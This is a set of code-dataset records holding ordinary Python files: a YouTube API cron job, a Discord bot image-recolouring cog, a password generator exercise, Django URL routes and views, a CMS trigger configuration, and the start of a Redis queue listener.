25\n publishedAfter = get_update_timestamp()\n status = False\n\n for api_key in API_KEYS:\n # Alternatively, this can be used\n # request = get_request(\n # api_key=api_key,\n # part=\"snippet\",\n # maxResults=maxResults,\n # search_query=search_query,\n # order=\"date\",\n # publishedAfter=publishedAfter,\n # )\n # status = True\n # error_code = request.status_code\n # if not (error_code == 400 or error_code == 403):\n # break\n\n try:\n youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION, developerKey=api_key)\n # search.list method to retrieve results matching the specified keyword.\n request = youtube.search().list(\n q=search_query,\n part=\"snippet\",\n order=\"date\",\n maxResults=maxResults,\n publishedAfter=(publishedAfter.replace(microsecond=0).isoformat() + \"Z\"),\n )\n response = request.execute()\n # To create an entry in db for a valid api_key\n status = True\n except apiclient.errors.HttpError as err:\n error_code = err.resp.status\n # Changes API KEY if error_code is 400 or 403\n if not (error_code == 400 or error_code == 403):\n break\n\n if status:\n for item in response[\"items\"]:\n try:\n Videos.objects.create(\n video_id=item[\"id\"][\"videoId\"],\n title=item[\"snippet\"][\"title\"],\n description=item[\"snippet\"][\"description\"],\n published_at=item[\"snippet\"][\"publishedAt\"],\n thumbnail_url=item[\"snippet\"][\"thumbnails\"][\"default\"][\"url\"],\n channel_title=item[\"snippet\"][\"channelTitle\"],\n channel_id=item[\"snippet\"][\"channelId\"],\n )\n except Exception as e:\n print(e)\n continue\n\n\n# Another way for GET Request\ndef get_request(\n api_key: str, part: str, order: str, search_query: str, maxResults: int, publishedAfter: str\n) -> Response:\n url = (\n f\"https://youtube.googleapis.com/youtube/v3/search?\"\n f\"part={part}&\"\n f\"maxResults={maxResults}&\"\n f\"order={order}&\"\n f\"publishedAfter={publishedAfter}&\"\n f\"q={search_query}&\"\n f\"key={api_key}\"\n )\n\n return requests.get(url=url)\n","sub_path":"api/cron.py","file_name":"cron.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"578669646","text":"import logging\n\nFORMAT = '%(asctime)s :: %(levelname)s :: %(name)s :: Line No %(lineno)d'\\\n ':: %(message)s'\nlogging.basicConfig(\n level = logging.INFO,\n format = FORMAT\n)\n\nlogger = logging.getLogger('Module pylogs')\n\nlogger.info(\"This is root logger's logging message!\")\n# logging.info(\"This is looger's logging message!\")\n","sub_path":"D13/logging/marv/pylogs.py","file_name":"pylogs.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"10216067","text":"# Ported for Red v3 from: https://github.com/Rocked03/Blurplefied\n# pip install python-resize-image\n# pip install pillow\n\nimport discord\nfrom PIL import Image, ImageEnhance, ImageSequence\nfrom io import BytesIO\nimport aiohttp\nimport asyncio\nimport datetime\nimport io\nimport math\nfrom resizeimage import resizeimage\nfrom redbot.core import Config, commands, checks\n\nblurple = (114, 137, 218)\nblurplehex = 0x7289DA\ndarkblurple = (78, 93, 148)\nwhite = (255, 255, 255)\n\n\nclass Blurplefy(commands.Cog):\n \"\"\"Blurplefy images and check blurple content of images.\"\"\"\n\n async def red_delete_data_for_user(self, **kwargs):\n \"\"\" Nothing to delete \"\"\"\n return\n\n def __init__(self, bot):\n \"\"\"Blurplefy images and check blurple content of images.\"\"\"\n self.bot = bot\n self.config = Config.get_conf(self, 2778931480, force_registration=True)\n\n default_guild = {\"role_enabled\": False, \"blurple_role\": None}\n\n self.config.register_guild(**default_guild)\n self.session = aiohttp.ClientSession()\n\n @commands.guild_only()\n @commands.command()\n @checks.admin_or_permissions(manage_roles=True)\n async def blurplerole(self, ctx):\n \"\"\"Toggle a role award for having a blurple profile picture.\"\"\"\n blurple_role_id = await self.config.guild(ctx.guild).blurple_role()\n if blurple_role_id is None:\n await ctx.send(\"Enter the role name to award: it needs to be a valid, already existing role.\")\n\n def check(m):\n return m.author == ctx.author\n\n try:\n blurple_role = await ctx.bot.wait_for(\"message\", timeout=15.0, check=check)\n blurple_role_obj = discord.utils.get(ctx.guild.roles, name=blurple_role.content)\n if blurple_role_obj is None:\n return await ctx.send(\"No role with that name.\")\n return await ctx.invoke(self.blurpleroleset, role_name=blurple_role_obj)\n except asyncio.TimeoutError:\n return await ctx.send(\"No role entered, try again later.\")\n\n role_enabled = await self.config.guild(ctx.guild).role_enabled()\n await self.config.guild(ctx.guild).role_enabled.set(not role_enabled)\n\n if not role_enabled:\n word = \"enabled\"\n else:\n word = \"disabled\"\n await ctx.send(\"Blurple role awarding {}.\".format(word))\n\n @commands.guild_only()\n @commands.command()\n @checks.admin_or_permissions(manage_roles=True)\n async def blurpleroleset(self, ctx, *, role_name: discord.Role):\n \"\"\"Sets the role to award if blurplerole is on.\"\"\"\n await self.config.guild(ctx.guild).blurple_role.set(role_name.id)\n blurple_role_id = await self.config.guild(ctx.guild).blurple_role()\n blurple_role_obj = discord.utils.get(ctx.guild.roles, id=blurple_role_id)\n await ctx.send(\"Blurple award role set to: {}.\".format(blurple_role_obj.name))\n blurple_role_enabled = await self.config.guild(ctx.guild).role_enabled()\n if not blurple_role_enabled:\n await ctx.invoke(self.blurplerole)\n\n async def blurplefy(self, ctx, user: discord.Member = None):\n \"\"\"Blurplefy a user or image.\"\"\"\n picture = None\n await ctx.send(\"{}, starting blurple image analysis.\".format(ctx.message.author.mention))\n link = ctx.message.attachments\n if user is None and not link:\n picture = ctx.author.avatar_url\n else:\n if not user:\n if len(link) != 0:\n for image in link:\n picture = image.url\n else:\n picture = user.avatar_url\n try:\n async with self.session.request(\"GET\", str(picture)) as r:\n response = await r.read()\n except ValueError:\n await ctx.send(\"{}, please link a valid image URL.\".format(ctx.author.display_name))\n return\n\n @commands.guild_only()\n @commands.command()\n @commands.cooldown(rate=1, per=30, type=commands.BucketType.user)\n async def blurple(self, ctx, user: discord.Member = None):\n \"\"\"Check a user or uploaded image for blurple content.\"\"\"\n picture = None\n await ctx.send(\"{}, starting blurple image analysis.\".format(ctx.message.author.mention))\n link = ctx.message.attachments\n if user is None and not link:\n picture = ctx.author.avatar_url\n role_check = True\n elif not user:\n if len(link) != 0:\n for image in link:\n picture = image.url\n role_check = False\n else:\n picture = user.avatar_url\n role_check = False\n\n try:\n async with self.session.request(\"GET\", str(picture)) as r:\n response = await r.read()\n except ValueError:\n await ctx.send(\"{}, please link a valid image URL.\".format(ctx.author.display_name))\n return\n try:\n im = Image.open(BytesIO(response))\n except Exception:\n await ctx.send(\"{}, please link a valid image URL.\".format(ctx.author.display_name))\n return\n\n im = im.convert(\"RGBA\")\n imsize = list(im.size)\n impixels = imsize[0] * imsize[1]\n # 1250x1250 = 1562500\n maxpixelcount = 1562500\n\n if impixels > maxpixelcount:\n downsizefraction = math.sqrt(maxpixelcount / impixels)\n im = resizeimage.resize_width(im, (imsize[0] * downsizefraction))\n imsize = list(im.size)\n impixels = imsize[0] * imsize[1]\n await ctx.send(\"{}, image resized smaller for easier processing.\".format(ctx.message.author.display_name))\n\n image = self.blurple_imager(im, imsize)\n image = discord.File(fp=image, filename=\"image.png\")\n\n blurplenesspercentage = round(((nooftotalpixels / noofpixels) * 100), 2)\n percentblurple = round(((noofblurplepixels / noofpixels) * 100), 2)\n percentdblurple = round(((noofdarkblurplepixels / noofpixels) * 100), 2)\n percentwhite = round(((noofwhitepixels / noofpixels) * 100), 2)\n\n embed = discord.Embed(title=\"\", colour=0x7289DA)\n embed.add_field(name=\"Total amount of Blurple\", value=\"{}%\".format(blurplenesspercentage), inline=False)\n embed.add_field(name=\"Blurple (rgb(114, 137, 218))\", value=\"{}%\".format(percentblurple), inline=True)\n embed.add_field(name=\"White (rgb(255, 255, 255))\", value=\"{}\\\\%\".format(percentwhite), inline=True)\n embed.add_field(\n name=\"Dark Blurple (rgb(78, 93, 148))\", value=\"{}\\\\%\".format(percentdblurple), inline=True,\n )\n embed.add_field(\n name=\"Guide\",\n value=\"Blurple, White, Dark Blurple = \\nBlurple, White, and Dark Blurple (respectively) \\nBlack = Not Blurple, White, or Dark Blurple\",\n inline=False,\n )\n embed.set_footer(\n text=\"Please note: Discord slightly reduces quality of the images, therefore the percentages may be slightly inaccurate. | Content requested by {}\".format(\n ctx.author\n )\n )\n embed.set_image(url=\"attachment://image.png\")\n embed.set_thumbnail(url=picture)\n await ctx.send(embed=embed, file=image)\n\n blurple_role_enabled = await self.config.guild(ctx.guild).role_enabled()\n if role_check and blurple_role_enabled:\n blurple_role_id = await self.config.guild(ctx.guild).blurple_role()\n blurple_role_obj = discord.utils.get(ctx.guild.roles, id=blurple_role_id)\n if (\n blurplenesspercentage > 75\n and picture == ctx.author.avatar_url\n and blurple_role_obj not in ctx.author.roles\n and percentblurple > 5\n ):\n await ctx.send(\n \"{}, as your profile pic has enough blurple (over 75% in total and over 5% blurple), you have recieved the role **{}**!\".format(\n ctx.message.author.display_name, blurple_role_obj.name\n )\n )\n await ctx.author.add_roles(blurple_role_obj)\n elif picture == ctx.author.avatar_url and blurple_role_obj not in ctx.author.roles:\n await ctx.send(\n \"{}, your profile pic does not have enough blurple (over 75% in total and over 5% blurple), therefore you are not eligible for the role {}.\".format(\n ctx.message.author.display_name, blurple_role_obj.name\n )\n )\n\n @commands.guild_only()\n @commands.command()\n @commands.cooldown(rate=1, per=30, type=commands.BucketType.user)\n async def blurplefy(self, ctx, user: discord.Member = None):\n \"\"\"Blurplefy a user or uploaded image.\"\"\"\n picture = None\n await ctx.send(\"{}, starting blurple image analysis.\".format(ctx.message.author.mention))\n link = ctx.message.attachments\n if user is None and not link:\n picture = ctx.author.avatar_url\n else:\n if not user:\n if len(link) != 0:\n for image in link:\n picture = image.url\n else:\n picture = user.avatar_url\n try:\n async with self.session.request(\"GET\", str(picture)) as r:\n response = await r.read()\n except ValueError:\n await ctx.send(\"{}, please link a valid image URL.\".format(ctx.author.display_name))\n return\n try:\n im = Image.open(BytesIO(response))\n except Exception:\n await ctx.send(\"{}, please link a valid image URL.\".format(ctx.author.display_name))\n return\n\n imsize = list(im.size)\n impixels = imsize[0] * imsize[1]\n # 1250x1250 = 1562500\n maxpixelcount = 1562500\n\n try:\n i = im.info[\"version\"]\n isgif = True\n gifloop = int(im.info[\"loop\"])\n except Exception:\n isgif = False\n\n await ctx.send(\"{}, image fetched, analyzing image...\".format(ctx.message.author.display_name))\n\n if impixels > maxpixelcount:\n downsizefraction = math.sqrt(maxpixelcount / impixels)\n im = resizeimage.resize_width(im, (imsize[0] * downsizefraction))\n imsize = list(im.size)\n impixels = imsize[0] * imsize[1]\n await ctx.send(\"{}, image resized smaller for easier processing\".format(ctx.message.author.display_name))\n\n if isgif is False:\n image = self.imager(im, imsize)\n else:\n image = self.gifimager(im, gifloop, imsize)\n await ctx.send(\"{}, image data extracted.\".format(ctx.author.display_name))\n if isgif is False:\n image = discord.File(fp=image, filename=\"image.png\")\n else:\n image = discord.File(fp=image, filename=\"image.gif\")\n\n try:\n embed = discord.Embed(title=\"\", colour=0x7289DA)\n embed.set_author(name=\"Blurplefier - makes your image blurple!\")\n if isgif is False:\n embed.set_image(url=\"attachment://image.png\")\n else:\n embed.set_image(url=\"attachment://image.gif\")\n embed.set_footer(\n text=\"Please note - This blurplefier is automated and therefore may not always give you the best result. | Content requested by {}\".format(\n ctx.author\n )\n )\n embed.set_thumbnail(url=picture)\n await ctx.send(embed=embed, file=image)\n except Exception:\n await ctx.send(\n \"{}, whoops! It looks like this gif is too big to upload. Try a smaller image (less than 8mb).\".format(\n ctx.author.name\n )\n )\n\n @staticmethod\n def blurple_imager(im, imsize):\n colourbuffer = 20\n global noofblurplepixels\n noofblurplepixels = 0\n global noofwhitepixels\n noofwhitepixels = 0\n global noofdarkblurplepixels\n noofdarkblurplepixels = 0\n global nooftotalpixels\n nooftotalpixels = 0\n global noofpixels\n noofpixels = 0\n\n blurple = (114, 137, 218)\n darkblurple = (78, 93, 148)\n white = (255, 255, 255)\n\n img = im.load()\n for x in range(imsize[0]):\n i = 1\n for y in range(imsize[1]):\n pixel = img[x, y]\n check = 1\n checkblurple = 1\n checkwhite = 1\n checkdarkblurple = 1\n for i in range(3):\n if not (blurple[i] + colourbuffer > pixel[i] > blurple[i] - colourbuffer):\n checkblurple = 0\n if not (darkblurple[i] + colourbuffer > pixel[i] > darkblurple[i] - colourbuffer):\n checkdarkblurple = 0\n if not (white[i] + colourbuffer > pixel[i] > white[i] - colourbuffer):\n checkwhite = 0\n if checkblurple == 0 and checkdarkblurple == 0 and checkwhite == 0:\n check = 0\n if check == 0:\n img[x, y] = (0, 0, 0, 255)\n if check == 1:\n nooftotalpixels += 1\n if checkblurple == 1:\n noofblurplepixels += 1\n if checkdarkblurple == 1:\n noofdarkblurplepixels += 1\n if checkwhite == 1:\n noofwhitepixels += 1\n noofpixels += 1\n\n image_file_object = io.BytesIO()\n im.save(image_file_object, format=\"png\")\n image_file_object.seek(0)\n return image_file_object\n\n @staticmethod\n def imager(im, imsize):\n im = im.convert(mode=\"L\")\n im = ImageEnhance.Contrast(im).enhance(1000)\n im = im.convert(mode=\"RGB\")\n\n img = im.load()\n\n for x in range(imsize[0] - 1):\n i = 1\n for y in range(imsize[1] - 1):\n pixel = img[x, y]\n\n if pixel != (255, 255, 255):\n img[x, y] = (114, 137, 218)\n\n image_file_object = io.BytesIO()\n im.save(image_file_object, format=\"png\")\n image_file_object.seek(0)\n return image_file_object\n\n @staticmethod\n def gifimager(im, gifloop, imsize):\n frames = [frame.copy() for frame in ImageSequence.Iterator(im)]\n newgif = []\n\n for frame in frames:\n frame = frame.convert(mode=\"L\")\n frame = ImageEnhance.Contrast(frame).enhance(1000)\n frame = frame.convert(mode=\"RGB\")\n img = frame.load()\n\n for x in range(imsize[0]):\n i = 1\n for y in range(imsize[1]):\n pixel = img[x, y]\n if pixel != (255, 255, 255):\n img[x, y] = (114, 137, 218)\n newgif.append(frame)\n\n image_file_object = io.BytesIO()\n gif = newgif[0]\n gif.save(image_file_object, format=\"gif\", save_all=True, append_images=newgif[1:], loop=0)\n image_file_object.seek(0)\n return image_file_object\n\n @commands.command()\n async def countdown(self, ctx):\n \"\"\"Countdown to Discord's 7th Anniversary.\"\"\"\n embed = discord.Embed(name=\"\", colour=0x7289DA)\n timeleft = datetime.datetime(2021, 5, 13) + datetime.timedelta(hours=7) - datetime.datetime.utcnow()\n embed.set_author(name=\"Time left until Discord's 6th Anniversary\")\n if int(timeleft.total_seconds()) < 0:\n timeleft = datetime.datetime(2022, 5, 13) + datetime.timedelta(hours=7) - datetime.datetime.utcnow()\n embed.set_author(name=\"Time left until Discord's 6th Anniversary\")\n embed.add_field(\n name=\"Countdown to midnight, May 13, California time (UTC-7):\",\n value=(\"{}\".format(self._dynamic_time(int(timeleft.total_seconds())))),\n )\n await ctx.send(embed=embed)\n\n @staticmethod\n def _dynamic_time(time):\n m, s = divmod(time, 60)\n h, m = divmod(m, 60)\n d, h = divmod(h, 24)\n\n if d > 0:\n msg = \"{0}d {1}h\"\n elif d == 0 and h > 0:\n msg = \"{1}h {2}m\"\n elif d == 0 and h == 0 and m > 0:\n msg = \"{2}m {3}s\"\n elif d == 0 and h == 0 and m == 0 and s > 0:\n msg = \"{3}s\"\n else:\n msg = \"\"\n return msg.format(d, h, m, s)\n\n def cog_unload(self):\n self.bot.loop.create_task(self.session.close())\n","sub_path":"blurplefy/blurplefy.py","file_name":"blurplefy.py","file_ext":"py","file_size_in_byte":16638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"124329836","text":"# Ta linia testuje program, który napiszesz ;)\n# Rafał Nitychoruk\n\nfrom random import choice\nfrom string import ascii_lowercase, ascii_letters, punctuation\n\n\ndef generuj_haslo(poziom_trudnosci_hasla=0, dlugosc_hasla=8):\n if poziom_trudnosci_hasla == 0:\n dostepne_znaki = ascii_lowercase\n elif poziom_trudnosci_hasla == 1:\n dostepne_znaki = ascii_letters\n elif poziom_trudnosci_hasla == 2:\n dostepne_znaki = ascii_letters + '0123456789'\n elif poziom_trudnosci_hasla == 3:\n dostepne_znaki = ascii_letters + '0123456789' + punctuation\n\n losowe_znaki = []\n for _ in range(dlugosc_hasla):\n losowy_znak = choice(dostepne_znaki)\n losowe_znaki.append(losowy_znak)\n\n losowe_haslo = ''\n losowe_haslo = losowe_haslo.join(losowe_znaki)\n # for znak in losowe_znaki:\n # losowe_haslo = losowe_haslo + znak\n print('Twoje losowe hasło o długości {} znaków to {}.'.format(dlugosc_hasla, losowe_haslo))\n return losowe_haslo\n\ntrudnosc = None\nilosc_znakow = None\n\nwhile trudnosc == None:\n podaj_trudnosc = input('Podaj poziom trudności hasła w skali 0-3: ')\n if podaj_trudnosc == '1' or podaj_trudnosc == '2' or podaj_trudnosc == '3':\n trudnosc = int(podaj_trudnosc)\n\nwhile ilosc_znakow == None:\n podaj_ilosc_znakow = input('Jak długie ma być hasło? Podaj liczbę całkowitą: ')\n if podaj_ilosc_znakow.isdigit():\n ilosc_znakow = int(podaj_ilosc_znakow)\n\n\nhaslo = generuj_haslo(trudnosc, ilosc_znakow)\nprint(haslo)","sub_path":"CODE_ME/prace_domowe_basic/zaddom0901_nitychoruk.py","file_name":"zaddom0901_nitychoruk.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"373946264","text":"from django.conf.urls import url, patterns\nfrom cotizaciones import views\n\nurlpatterns = patterns('',\n url(r'^cotizaciones/$', views.consultar_cotizaciones, name='consultar_cotizaciones'),\n url(r'^cotizaciones/(?P[\\w\\-]+)/$', views.cotizacion, name='cotizacion'),\n url(r'^ventas/$', views.consultar_ventas, name='consultar_ventas'),\n url(r'^ventas/(?P[\\w\\-]+)/$', views.venta, name='venta'),\n url(r'^registrar/$', views.registrar, name='registrar_cotizacion'),\n url(r'^cotizaciones/(?P[\\w\\-]+)/registrar-venta/$', views.registrar_venta, \\\n name='registrar_venta'),\n url(r'^ventas/(?P[\\w\\-]+)/registrar_pago/$', views.registrar_pago, name='registrar_pago'),\n\n url(r'^eliminar-cotizacion/(?P[\\w\\-]+)/$', views.eliminar_cotizacion, \\\n \tname=\"eliminar_cotizacion\"),\n url(r'^eliminar-venta/(?P[\\w\\-]+)/$', views.eliminar_venta, \\\n name=\"eliminar_venta\"),\n\n url(r'^editar-cotizacion/(?P[\\w\\-]+)/$', views.editar_cotizacion, \\\n name='editar_cotizacion'),\n url(r'^editar-venta/(?P[\\w\\-]+)/$', views.editar_venta, \\\n name='editar_venta'),\n\n url(r'^registrar_proveedor/$', views.registrar_proveedor, name='registrar_proveedor'),\n url(r'^proveedores/$', views.proveedores, name='proveedores'),\n url(r'^proveedores/(?P[\\w\\-]+)/$', views.proveedor, name='proveedor'),\n url(r'^eliminar-proveedor/(?P[\\w\\-]+)/$', views.eliminar_proveedor, \\\n \tname=\"eliminar_proveedor\"),\n url(r'^editar-proveedor/(?P[\\w\\-]+)/$', views.editar_proveedor, \\\n \tname=\"editar_proveedor\"),\n url(r'^registrar_producto/$', views.registrar_producto, name='registrar_producto'),\n url(r'^productos/(?P[\\w\\-]+)/$', views.producto, name='producto'),\n url(r'^productos/$', views.productos, name='productos'),\n url(r'^eliminar-producto/(?P[\\w\\-]+)/$', views.eliminar_producto, \\\n \tname=\"eliminar_producto\"),\n url(r'^editar-producto/(?P[\\w\\-]+)/$', views.editar_producto, \\\n \tname=\"editar_producto\"),\n url(r'^registrar_servicio/$', views.registrar_servicio, name='registrar_servicio'),\n url(r'^servicios/$', views.servicios, name='servicios'),\n url(r'^servicios/(?P[\\w\\-]+)/$', views.servicio, name='servicio'),\n url(r'^eliminar-servicio/(?P[\\w\\-]+)/$', views.eliminar_servicio, \\\n \tname=\"eliminar_servicio\"),\n url(r'^editar-servicio/(?P[\\w\\-]+)/$', views.editar_servicio, \\\n \tname=\"editar_servicio\"),\n url(r'^registrar_vende/$', views.registrar_vende, name='registrar_vende'),\n url(r'^registrar_brinda/$', views.registrar_brinda, name='registrar_brinda'),\n url(r'^registrar_vende/(?P[\\w\\-]+)/$', views.registrar_vende_proveedor, name='registrar_vende_proveedor'),\n url(r'^registrar_brinda/(?P[\\w\\-]+)/$', views.registrar_brinda_proveedor, name='registrar_brinda_proveedor'),\n url(r'^eliminar-vende/(?P[\\w\\-]+)/$', views.eliminar_vende, \\\n \tname=\"eliminar_vende\"),\n url(r'^eliminar-brinda/(?P[\\w\\-]+)/$', views.eliminar_brinda, \\\n name=\"eliminar_brinda\"),\n url(r'^editar-vende/(?P[\\w\\-]+)/$', views.editar_vende, \\\n \tname=\"editar_vende\"),\n url(r'^editar-brinda/(?P[\\w\\-]+)/$', views.editar_brinda, \\\n \tname=\"editar_brinda\"),\n )\n","sub_path":"claand/cotizaciones/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"21889991","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nimport json\n# Create your views here.\nimport json\ndef home_page(request):\n return render(request,'places/home_page.html',{})\ndef getx(request):\n start= request.GET['start']\n end= request.GET['end']\n #return HttpResponse(start)\n a = {0: 'rd', 1: 'amul', 2: 'main canteen', 3: 'nlhc', 4: 'sac'}\n #b = {0: [1, 1, 2, 3, 4], 1: [5, 1, 2, 13, 4], 2: [21, 3, 1, 4, 4], 3: [21, 2, 9, 1, 1], 4: [1, 2, 3, 4, 1]}\n #c = start\n #ax=Place.object.filter(Placename=start).number\n #print(ax)\n #d = end\n flag = 0\n #b={}\n #try:\n #with open(\"abc.json\",\"w\") as abc:\n # json.dump(bx,abc)\n #except error:\n # pass\n\n #try:\n # with open(\"abc.json\", \"r\") as abcd:\n # shr = abcd.read()\n # return HttpResponse(type(shr))\n # #shr=json.loads(shr1)\n #return HttpResponse(shr1)\n #except :\n #return HttpResponse(shr1)\n\n #pass\n #for i in shr.keys():\n # b[int(i)] = shr[i]\n # return HttpResponse(b)\n b={}\n pna=[]\n from .models import Pn\n pnall=Pn.objects.all()\n for i,j in zip(pnall,range(5)):\n\n pna.append(i.n0)\n pna.append(i.n1)\n pna.append(i.n2)\n pna.append(i.n3)\n pna.append(i.n4)\n b[j]=pna\n pna=[]\n #for i in b.keys():\n # return HttpResponse(b[0])\n\n from .models import Place\n abc = Place.objects.filter(Placename=start)\n for i in abc:\n c= str(i)\n\n from itertools import combinations\n from itertools import permutations\n for i in a.keys():\n if c == a[i]:\n e= i\n flag = 1\n break\n #if flag == 0:\n #print(\"place not found\")\n #flag = 0\n abc = Place.objects.filter(Placename=end)\n for i in abc:\n d = str(i)\n for i in a.keys():\n if d == a[i]:\n f = i\n flag = 1\n break\n #return HttpResponse(e)\n #if flag == 0:\n #print(\"place not found\")\n # print(e,f)\n list = [0, 1, 2, 3, 4]\n list.remove(e)\n list.remove(f)\n # print(list)\n tmp = [e]\n final = []\n for i in range(4):\n for j in permutations(list, i):\n # print(j)\n for k in j:\n # print(k)\n\n tmp.append(k)\n tmp.append(f)\n final.append(tmp)\n tmp = [e]\n print(final)\n fmul = []\n # help(permutations)\n for i in final:\n mul = 1\n l = len(i)\n for j in range(l - 1):\n mul *= b[i[j]][i[j + 1]]\n fmul.append(mul)\n mul = 0\n print(fmul)\n total = {}\n n = len(fmul)\n final1 = final\n #print(final1)\n # for i in range(n):\n # print(final[i],\"->\",fmul[i])\n for i in range(len(final)):\n x = final[i]\n for j in range(len(x)):\n y = x[j]\n final1[i][j] = a[y]\n #print(final1)\n #print(fmul)\n sum=0\n for i in fmul:\n sum+=i\n xy=sorted(range(n))\n for i in range(n):\n final1[i].append('-->')\n final1[i].append((fmul[i]))\n return render(request,'places/num.html',{'final1':final1,'start':start,'end':end,'sum':sum})\n\n\n","sub_path":"places/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"234822866","text":"import FWCore.ParameterSet.Config as cms\n\nfrom L1Trigger.L1TCalorimeter.caloStage1RegionSF_cfi import *\nfrom L1Trigger.L1TCalorimeter.caloStage1JetSF_cfi import *\n\nfrom L1Trigger.L1TCalorimeter.caloParams_cfi import caloParamsSource\ncaloParamsSource.recordName = cms.string('L1TCaloParamsRcd')\ncaloStage1Params = cms.ESProducer(\"L1TCaloParamsESProducer\")\n\ncaloStage1Params.regionPUSType = cms.string(\"zeroWall\") #\"None\" for no PU subtraction, \"PUM0\", \"HICaloRingSub\"\ncaloStage1Params.regionPUSParams = regionSubtraction_PU40_MC13TeV\n\n# EG\ncaloStage1Params.egLsb = cms.double(1.)\ncaloStage1Params.egSeedThreshold = cms.double(0.)\n\ncaloStage1Params.egMinPtJetIsolation = cms.int32(25)\ncaloStage1Params.egMaxPtJetIsolation = cms.int32(63)\ncaloStage1Params.egMinPtHOverEIsolation = cms.int32(1)\ncaloStage1Params.egMaxPtHOverEIsolation = cms.int32(40)\n\ncaloStage1Params.egPUSType = cms.string(\"None\")\ncaloStage1Params.egPUSParams = cms.vdouble()\n\n## EG Isolation LUT\n## caloStage1Params.egIsoLUTFile = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/egIsoLUT_stage1.txt\")\ncaloStage1Params.egIsoLUTFile = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/egIsoLUT_stage1_isolEB0.30_isolEE0.50_combined.txt\")\n#caloStage1Params.egIsoLUTFileBarrel = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/egIsoLUT_stage1_isol0.30.txt\")\n#caloStage1Params.egIsoLUTFileEndcaps = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/egIsoLUT_stage1_isol0.50.txt\")\n\n# Tau\ncaloStage1Params.tauSeedThreshold = cms.double(7.)\ncaloStage1Params.tauNeighbourThreshold = cms.double(0.)\n#Tau parameters below are only used for setting tau isolation flag\ncaloStage1Params.tauMaxPtTauVeto = cms.double(64.)\ncaloStage1Params.tauMinPtJetIsolationB = cms.double(192.)\ncaloStage1Params.tauMaxJetIsolationB = cms.double(100.)\ncaloStage1Params.tauMaxJetIsolationA = cms.double(0.1)\ncaloStage1Params.tauIsoLUTFile = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/tauIsoLUT_stage1_isolA0.10_isolB100.00_ch_switchToIsoBPt192.00_j8t8.txt\")\n## caloStage1Params.tauCalibrationLUTFile = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/tauCalibrationLUT_stage1.txt\")\ncaloStage1Params.tauCalibrationLUTFile = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/tauL1Calib_LUT.txt\")\ncaloStage1Params.tauEtToHFRingEtLUTFile= cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/tauHwEtToHFRingScale_LUT.txt\")\ncaloStage1Params.isoTauEtaMin = cms.int32(5)\ncaloStage1Params.isoTauEtaMax = cms.int32(16)\n# jets\ncaloStage1Params.jetLsb = cms.double(0.5)\ncaloStage1Params.jetSeedThreshold = cms.double(0.)\ncaloStage1Params.jetNeighbourThreshold = cms.double(0.)\ncaloStage1Params.jetCalibrationType = cms.string(\"Stage1JEC\")\ncaloStage1Params.jetCalibrationParams = jetSF_8TeV_data\n## caloStage1Params.jetCalibrationLUTFile = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/jetCalibrationLUT_stage1_prelim.txt\")\ncaloStage1Params.jetCalibrationLUTFile = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/jetCalibrationLUT_symmetric_0is0.txt\")\n\n# sums\ncaloStage1Params.etSumLsb = cms.double(0.5)\ncaloStage1Params.etSumEtaMin = cms.vint32(4, 4) #ET, HT\ncaloStage1Params.etSumEtaMax = cms.vint32(17, 17) #ET, HT\ncaloStage1Params.etSumEtThreshold = cms.vdouble(0., 7.) #ET, HT\n\n# HI\ncaloStage1Params.centralityLUTFile = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/centralityLUT_5020TeV_stage1.txt\")\ncaloStage1Params.q2LUTFile = cms.FileInPath(\"L1Trigger/L1TCalorimeter/data/q2LUT_stage1.txt\")\n","sub_path":"L1Trigger/L1TCalorimeter/python/caloStage1Params_HI_cfi.py","file_name":"caloStage1Params_HI_cfi.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"644073672","text":"#!/usr/bin/env python\n\nimport json\nimport threading\nimport xmlrpclib\nimport logging\nfrom apscheduler.scheduler import Scheduler\nimport db\nimport dbcommon\nimport paths\nimport utils\nimport forker\n\nREDIS_CHANNEL = 'berta_planner'\n\nif __name__ == \"__main__\":\n log = logging.getLogger(\"controller\")\nelse:\n log = logging.getLogger(__name__)\n\n\nclass QueueListener(threading.Thread):\n def __init__(self, planner, r, channels):\n threading.Thread.__init__(self)\n self.daemon = True\n self.planner = planner\n self.redis = r\n self.channels = channels\n\n def work(self, item):\n data = json.loads(item['data'])\n methodname = data.get('method')\n method = getattr(self.planner, methodname)\n kwargs = data.get('kwargs')\n log.info(\"calling planner.%s(**%s)\", methodname, kwargs)\n method(**kwargs)\n\n def run(self):\n log.info(\"queue listener started\")\n self.pubsub = self.redis.pubsub()\n self.pubsub.subscribe(self.channels)\n\n for item in self.pubsub.listen():\n if item[\"data\"] == \"stop\":\n log.info(\"queue listener gracefully stopping\")\n try:\n self.pubsub.unsubscribe()\n except AttributeError:\n log.warning(\"Exception during unsubscribe process.\")\n except Exception:\n log.exception(\"exception in pubsub.unsubscribe\")\n return\n elif \"type\" in item and item[\"type\"] == \"subscribe\":\n continue\n log.debug(\"queue listener: channel %s: incoming data %s\", item['channel'], item['data'])\n 